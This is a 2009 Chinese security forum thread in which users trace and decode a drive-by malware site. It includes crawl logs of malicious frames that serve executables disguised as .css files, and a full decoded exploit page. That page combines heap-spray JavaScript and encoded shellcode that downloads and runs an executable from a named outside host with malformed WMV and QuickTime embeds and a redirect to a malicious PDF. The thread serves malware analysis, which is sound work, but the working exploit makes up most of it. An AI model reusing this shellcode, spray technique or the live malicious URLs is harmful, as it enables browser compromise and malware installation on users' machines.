[解密悬赏][第16期][完成]

雨宫优子

原帖由 dearhaoji 于 2009-1-20 22:38 发表
第1个上不了!404 Not FoundNot FoundThe requested was not found on this server.Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.Apache

你已没有机会


想要重来，请换个IP，清除COOKIE及IE临时文件缓存
然后再来..

qianwenxiang

那个pdf我下载不了了。。

Kitman

Log is generated by FreShow.
[wide]http://www.ccswzx1.cn/b5.htm
    [frame]http://www.706sese.cn/a5/fxx.htm
        [frame]http://www.706sese.cn/a5/fx.htm
        [frame]http://www.706sese.cn/a5/../a1/ss.htm
        [frame]http://www.706sese.cn/a5/../a1/Ms06014.htm
        [frame]http://www.706sese.cn/a5/../a1/sina.htm
            [object]http://d.oixka.com/new/a1.css
        [frame]http://www.706sese.cn/a5/../a1/no.htm
            [script]http://www.706sese.cn/a5/../a1/wokaono.js
                [object]http://d.oixka.com/new/A1.css
        [frame]http://www.706sese.cn/a5/../a1/bfyy.htm
        [frame]http://www.706sese.cn/a5/../a1/GLWORLD.html
            [script]http://www.706sese.cn/a5/../a1/HOHOGL.js
                [object]http://d.oixka.com/new/a1.css
        [frame]http://www.706sese.cn/a5/../a1/real.htm
            [script]http://www.706sese.cn/a5/../a1/wocaore.js
                [object]http://d.oixka.com/new/a1.css
        [frame]http://www.706sese.cn/a5/../a1/real.hTml
            [object]http://d.oixka.com/new/a1.css
    [script]http://js.tongji.cn.yahoo.com/857122/ystat.js

e54hacker

[wide]hxxp://www.ccswzx1.cn/b5.htm
        [frame]hxxp://www.707sese.cn/a5/fxx.htm
                [frame]hxxp://www.707sese.cn/a5/fx.htm
                        [frame]hxxp://www.707sese.cn/a5/ilink.html
                                [script]hxxp://www.707sese.cn/a5/swfobject.js
                                [swf]hxxp://www.707sese.cn/a5/./i115.swf
                                [swf]hxxp://www.707sese.cn/a5/./i45.swf
                                [swf]hxxp://www.707sese.cn/a5/./i16.swf
                                [swf]hxxp://www.707sese.cn/a5/./i64.swf
                                [swf]hxxp://www.707sese.cn/a5/./i28.swf
                                [swf]hxxp://www.707sese.cn/a5/./i47.swf
                        [frame]hxxp://www.707sese.cn/a5/flink.html
                                [script]hxxp://www.707sese.cn/a5/swfobject.js
                                [swf]hxxp://www.707sese.cn/a5/./f115.swf
                                [swf]hxxp://www.707sese.cn/a5/./f64.swf
                                [swf]hxxp://www.707sese.cn/a5/./f47.swf
                                [swf]hxxp://www.707sese.cn/a5/./f45.swf
                                [swf]hxxp://www.707sese.cn/a5/./f28.swf
                                [swf]hxxp://www.707sese.cn/a5/./f16.swf
                [frame]hxxp://www.707sese.cn/a5/../a1/ss.htm
                        [script]hxxp://www.707sese.cn/a5/../a1/woriniss.js
                                [exe]hxxp://d.bc-s350.cn/down/gr.exe
                [frame]hxxp://www.707sese.cn/a5/../a1/ms06014.htm
                        [exe]hxxp://d.oixka.com/new/a1.css
                [frame]hxxp://www.707sese.cn/a5/../a1/sina.htm
                        [exe]hxxp://d.oixka.com/new/a1.css
                [frame]hxxp://www.707sese.cn/a5/../a1/no.htm
                        [script]hxxp://www.707sese.cn/a5/../a1/wokaono.js
                                [exe]hxxp://d.oixka.com/new/a1.css
                [frame]hxxp://www.707sese.cn/a5/../a1/bfyy.htm
                [frame]hxxp://www.707sese.cn/a5/../a1/glworld.html
                        [script]hxxp://www.707sese.cn/a5/../a1/hohogl.js
                                [exe]hxxp://d.oixka.com/new/a1.css
                [frame]hxxp://www.707sese.cn/a5/../a1/real.htm
                        [script]hxxp://www.707sese.cn/a5/../a1/wocaore.js
                                [exe]hxxp://d.oixka.com/new/a1.css
                [frame]hxxp://www.707sese.cn/a5/../a1/real.html
                        [exe]hxxp://d.oixka.com/new/a1.css

knifed

暂时得到这个http://securityonlinecomputer.com/unique/load.php?
是个exe.

knifed

用malzilla 得到代码.解密得到

<html>
<head>
<embed src="files/swf.swf"></embed><script language="JavaScript">
var mm = new Array();
var mem_flag = 0;

function h() { mm=mm;a=1;setTimeout("h()", 2000); }

function getb(b, bSize)
{while (b.length*2<bSize){b += b;}
b = b.substring(0,bSize/2);return b;}

function JP7RXLyEu(){
var zc = 0x0c0c0c0c;
var a = unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua3c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u732f%u6365%u7275%u7469%u6f79%u6c6e%u6e69%u6365%u6d6f%u7570%u6574%u2e72%u6f63%u2f6d%u6e75%u7169%u6575%u6c2f%u616f%u2e64%u6870%u0070%u9000");
        var heapBlockSize = 0x400000;
        var pls = a.length * 2;
        var bSize = heapBlockSize - (pls+0x38);
        var b = unescape("%u0c0c%u0c0c");        b = getb(b,bSize);
        heapBlocks = (zc - 0x400000)/heapBlockSize;

        for (i=0;i<heapBlocks;i++){mm = b + a;}

        mem_flag = 1;
        h();
        return mm;
}

function PRyyt4O3wvgz(num)
{
        if(num == 0){
                try{
                                pnghtml = '<embed autostart="true" src="getfile.php?f=png" type="video/x-ms-wmv" width="1" height="1" controls="ImageWindow" console="cons"></EMBED>';
                                if (! mem_flag) JP7RXLyEu();
                                document.getElementById('Rdb9QJK').innerHTML = pnghtml;
                                num = 255;
                } catch(e){}
                if (num == 255){ setTimeout("PRyyt4O3wvgz(1)", 1500);} else{ PRyyt4O3wvgz(1);}
        }else if(num == 1){
                try{
                                emhtml = '<EMBED  width="1" height="1" SRC="----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLAAANNNNOOOOAAAQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999.wmv"></EMBED>';
                                if (! mem_flag) JP7RXLyEu();
                                document.getElementById('Rdb9QJK').innerHTML = emhtml;
                                num = 255;
                } catch(e){}
                if (num == 255){ setTimeout("PRyyt4O3wvgz(2)", 1500);} else{ PRyyt4O3wvgz(2);}
        }else if(num == 2){
                try {
                                var qthtml = '<EMBED SRC="getfile.php?f=qt" WIDTH="10" HEIGHT="10" TYPE="video/quicktime" />';
                                if (! mem_flag) JP7RXLyEu();
                                document.getElementById('Rdb9QJK').innerHTML = qthtml;
                                num = 255;
                } catch(e) { }
                setTimeout("PRyyt4O3wvgz(3)", 2000);
        }else if(num == 3){
wnd=window;
while (wnd.parent!=wnd)
wnd=wnd.parent;
wnd.location="pdf.php?f=all";
}
}
</script>
</head>
<body onload="PRyyt4O3wvgz(0)">
<div id="Rdb9QJK"></div>
</body>
</html>

继续得到http://securityonlinecomputer.com/unique/load.php?
用malzilla打开是个exe.国产的基本上没一个报.
代码有些没看明白.请版主指点

qianwenxiang

代码跟昨天的不一样了  ms这个用embed src加载的漏洞pdf文件